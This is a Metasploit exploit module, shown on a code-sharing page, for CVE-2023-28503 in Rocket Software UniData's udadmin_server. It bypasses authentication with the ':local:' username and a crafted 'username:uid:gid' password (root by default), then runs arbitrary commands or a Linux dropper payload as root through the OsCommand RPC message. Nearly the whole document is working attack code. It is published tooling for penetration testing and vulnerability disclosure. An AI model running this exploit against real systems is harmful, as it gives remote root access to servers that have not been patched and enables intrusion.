Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/unidata_udadmin_auth_bypass.rb
32436 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::CmdStager
11
include Msf::Exploit::Remote::Unirpc
12
prepend Msf::Exploit::Remote::AutoCheck
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Rocket Software Unidata udadmin_server Authentication Bypass',
19
'Description' => %q{
20
This module exploits an authentication bypass vulnerability in the
21
Linux version of udadmin_server, which is an RPC service that comes
22
with the Rocket Software UniData server. This affects versions of
23
UniData prior to 8.2.4 build 3003.
24
25
This service typically runs as root. It accepts a username of
26
":local:" and a password in the form of "<username>:<uid>:<gid>",
27
where username and uid must be a valid account, but gid can be
28
anything except 0.
29
30
This exploit takes advantage of this login account to authenticate
31
as a chosen user and run an arbitrary command (using the built-in
32
OsCommand message).
33
},
34
'License' => MSF_LICENSE,
35
'Author' => [
36
'Ron Bowes', # Discovery, PoC, module
37
],
38
'References' => [
39
[ 'URL', 'https://www.rapid7.com/blog/post/2023/03/29/multiple-vulnerabilities-in-rocket-software-unirpc-server-fixed' ],
40
[ 'CVE', '2023-28503' ],
41
],
42
'Targets' => [
43
[
44
'Unix Command',
45
{
46
'Platform' => 'unix',
47
'Arch' => ARCH_CMD,
48
'Type' => :unix_cmd
49
}
50
],
51
[
52
'Linux Dropper',
53
{
54
'Platform' => 'linux',
55
'Arch' => [ARCH_X86, ARCH_X64],
56
'Type' => :linux_dropper
57
}
58
]
59
],
60
'DefaultTarget' => 0,
61
'DefaultOptions' => {
62
'RPORT' => 31438,
63
'PrependFork' => true
64
},
65
'Privileged' => true,
66
'DisclosureDate' => '2023-03-30',
67
'Notes' => {
68
'SideEffects' => [],
69
'Reliability' => [REPEATABLE_SESSION],
70
'Stability' => [CRASH_SAFE]
71
}
72
)
73
)
74
75
register_options(
76
[
77
OptString.new('UNIRPC_USERNAME', [ true, 'Linux username to authenticate with (must match the uid)', 'root']),
78
OptInt.new('UNIRPC_UID', [ true, 'Linux uid to authenticate with (must correspond to the username)', 0]),
79
OptInt.new('UNIRPC_GID', [ true, 'gid to authenticate with (must not be 0, does not need to correspond to the username)', 1000]),
80
]
81
)
82
83
register_advanced_options(
84
[
85
OptString.new('UNIRPC_ENDPOINT', [ true, 'The UniRPC service to request', 'udadmin']),
86
]
87
)
88
end
89
90
# We can detect UniRPC by performing a version check, but the version number
91
# didn't increment in the patch (only the build number did, which AFAICT we
92
# can't access), so just do a sanity check
93
def check
94
version = unirpc_get_version
95
vprint_status("Detected UniRPC version #{version} is running")
96
97
Exploit::CheckCode::Detected
98
rescue UniRPCCommunicationError => e
99
return CheckCode::Safe("Could not communicate with the UniRPC server: #{e}")
100
rescue UniRPCUnexpectedResponseError => e
101
return CheckCode::Safe("UniRPC server returned something unexpected: #{e}")
102
end
103
104
def execute_command(cmd, _opts = {})
105
vprint_status('Sending OsCommand request')
106
sock.put(build_unirpc_message(args: [
107
# Message type
108
{ type: :integer, value: UNIRPC_MESSAGE_OSCOMMAND },
109
{ type: :string, value: cmd },
110
]))
111
end
112
113
def exploit
114
# Sanity check
115
if datastore['UNIRPC_GID'] == 0
116
fail_with(Failure::BadConfig, 'UNIRPC_GID cannot be 0')
117
end
118
119
# Connect to the service
120
connect
121
122
# Connect to the RPC service (probably "udadmin")
123
vprint_status("Connecting to UniRPC endpoint #{datastore['UNIRPC_ENDPOINT']}")
124
sock.put(build_unirpc_message(args: [
125
# Service name
126
{ type: :string, value: datastore['UNIRPC_ENDPOINT'] },
127
128
# "Secure" flag - this must be non-zero if the server is started in
129
# "secure" mode (-s)
130
{ type: :integer, value: 1 },
131
]))
132
133
# This will throw an error if the login fails, otherwise we can discard the
134
# result
135
recv_unirpc_message(sock, first_result_is_status: true)
136
137
# Prepare the authentication bypass
138
username = ':local:'
139
password = "#{datastore['UNIRPC_USERNAME']}:#{datastore['UNIRPC_UID']}:#{datastore['UNIRPC_GID']}"
140
vprint_status("Authenticating to RPC service as #{username} / #{password}")
141
142
# Send the authentication message
143
sock.put(build_unirpc_message(args: [
144
# Message type
145
{ type: :integer, value: UNIRPC_MESSAGE_LOGIN },
146
147
# Username
148
# ":local:" is a special value that skips login
149
{ type: :string, value: username },
150
151
# Password (encoded by making each byte negative)
152
# I think if username is :local:, this is username:uid:gid (gid can't be 0)
153
{ type: :string, value: password.bytes.map { |b| (0x0FF & (~b)).chr }.join },
154
]))
155
156
# Once again, we only care if this fails - if the status is an error
157
recv_unirpc_message(sock, first_result_is_status: true)
158
159
# Run the command(s)
160
case target['Type']
161
when :unix_cmd
162
execute_command(payload.encoded)
163
when :linux_dropper
164
execute_cmdstager
165
end
166
rescue UniRPCCommunicationError => e
167
fail_with(Failure::Unreachable, "Could not communicate with the UniRPC server: #{e}")
168
rescue UniRPCUnexpectedResponseError => e
169
fail_with(Failure::UnexpectedReply, "UniRPC server returned something unexpected: #{e}")
170
end
171
end
172
173